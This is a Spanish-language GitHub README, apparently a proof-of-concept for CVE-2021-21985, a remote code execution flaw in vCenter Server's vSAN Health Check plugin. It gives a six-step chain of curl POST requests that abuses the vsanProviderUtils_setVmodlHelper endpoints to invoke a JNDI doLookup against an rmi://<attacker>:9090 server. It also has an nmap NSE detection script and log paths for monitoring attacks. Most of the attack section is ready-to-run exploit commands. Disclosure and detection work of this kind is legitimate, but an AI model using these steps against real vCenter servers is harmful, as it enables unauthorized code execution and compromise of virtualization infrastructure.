alt3kx/cve-2021-21985_pocExploit PoC y escáner NSE para CVE-2021-21985, una vulnerabilidad de RCE en vCenter Server en el plugin vSAN Health Check, con pasos de explotación manual y script de detección.
CLASS/METHOD(s) disponibles, una pequeña muestra con fines de PoC: com.vmware.vsan.client.services.capability.VsanCapabilityProvider
[../snip]
getClusterCapabilityData
getHostCapabilityData
getHostsCapabilitiyData
getIsDeduplicationSupported
getIsEncryptionSupported
getIsLocalDataProtectionSupportedOnVc
getIsLocalDataProtectionSupportedOnCluster
getIsRemoteDataProtectionSupported
getIsObjectIdentitiesSupportedOnCluster
getIsHistoricalCapacitySupported
getIsPerfVerboseModeSupported
getIsPerfNetworkDiagnosticModeSupported
getIsPerfDiagnosticsFeedbackSupportedOnVc
getIsAdvancedClusterSettingsSupported
getIsRecreateDiskGroupSupported
getIsPurgeInaccessibleVmSwapObjectsSupported
getIsUpdateVumReleaseCatalogOfflineSupported
getIsVitOnlineResizeSupported
getIsImprovedCapacityMonitoringSupportedOnVc
getIsVmLevelCapacityMonitoringSupported
getIsWhatIfCapacitySupported
getIsHostReservedCapacitySupported
getIsUnmountWithMaintenanceModeSupported
getIsEvacuationStatusSupportedOnCluster
...
...
[../snip]
El vSphere Client (HTML5) contiene una vulnerabilidad de ejecución remota de código debido a la falta de validación de entrada en el complemento Virtual SAN Health Check, que está habilitado por defecto en vCenter Server.
Esta inspección manual verifica la existencia de CVE-2021-21985 basándose en CLASS/METHOD(s) disponibles por defecto en vCenter, por ejemplo, "/ui/h5-vsan/rest/*" enviando una solicitud POST y observando la respuesta JSON (200) en el cuerpo.
Inspección manual:
# curl -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[{\"type\":\"ClusterComputeResource\",\"value\": null,\"serverGuid\": null}]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData'
Créditos: https://www.iswin.org/2021/06/02/Vcenter-Server-CVE-2021-21985-RCE-PAYLOAD/
Pasos para reproducir:
Inicia tu servidor python para recibir la conexión del sistema objetivo (vCenter), por ejemplo:
# python3 -m http.server 9090
Paso 1: establecer TargetObject a null
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject HTTP/1.1
{“methodInput”:[null]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\xe2\x80\x9cmethodInput\xe2\x80\x9d:[null]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject'
Paso 2: establecer setStaticMethod en el payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod HTTP/1.1
{“methodInput”:[“javax.naming.InitialContext.doLookup”]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[\"javax.naming.InitialContext.doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod'
Paso 3: establecer setTargetMethod en doLookup
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod HTTP/1.1
{“methodInput”:[“doLookup”]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'\x0d\x0a{\"methodInput\":[\"doLookup\"]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod'
Paso 4: establecer setArguments con los argumentos del payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments HTTP/1.1
{“methodInput”:[["rmi://attacker:9090/alex666"]]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[[\"rmi://<attacker>:9090/alex666\"]]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments'
Paso 5: clase y métodos iniciales del payload
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare HTTP/1.1
{“methodInput”:[]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare'
Paso 6: disparar la invocación del método, después de este POST espera unos segundos y revisa el log de tu servidor python
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke HTTP/1.1
{“methodInput”:[]}
# curl -i -s -k -X $'POST' -H $'Host: <target>' -H $'User-Agent: alex666' -H $'Content-Type: application/json' -H $'Connection: close' --data-binary $'{\"methodInput\":[]}\x0d\x0a' $'https://<target>/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke'
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
https://www.vmware.com/security/advisories/VMSA-2021-0010.html
https://attackerkb.com/topics/X85GKjaVER/cve-2021-21985?referrer=home#rapid7-analysis
Este script verifica la existencia de CVE-2021-21985 basándose en CLASS/METHOD(s) disponibles por defecto en vCenter, por ejemplo, "/ui/h5-vsan/rest/*" enviando una solicitud POST y observando la respuesta JSON (200) en el cuerpo.
# nmap -p443 --script CVE-2021-21985.nse <target>
---
-- @usage
-- nmap -p443 --script CVE-2021-21985.nse <target>
-- @output
-- PORT STATE SERVICE
-- 443/tcp open https
-- | CVE-2021-21985:
-- | VULNERABLE:
-- | vCenter 6.5-7.0 RCE
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2021-21985
-- | The vSphere Client (HTML5) contains a remote code execution vulnerability due to lack of input
-- | validation in the Virtual SAN Health Check plug-in which is enabled by default in vCenter Server.
-- | Disclosure date: 2021-05-28
-- | References:
-- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21985
RUTA de logs vCenter
# /var/log/vmware/vsan-health/
Monitoreando los ataques
# tail -f /var/log/vmware/vsphere-ui/logs/vsphere_client_virgo.log
Alex Hernandez alias (@_alt3kx_)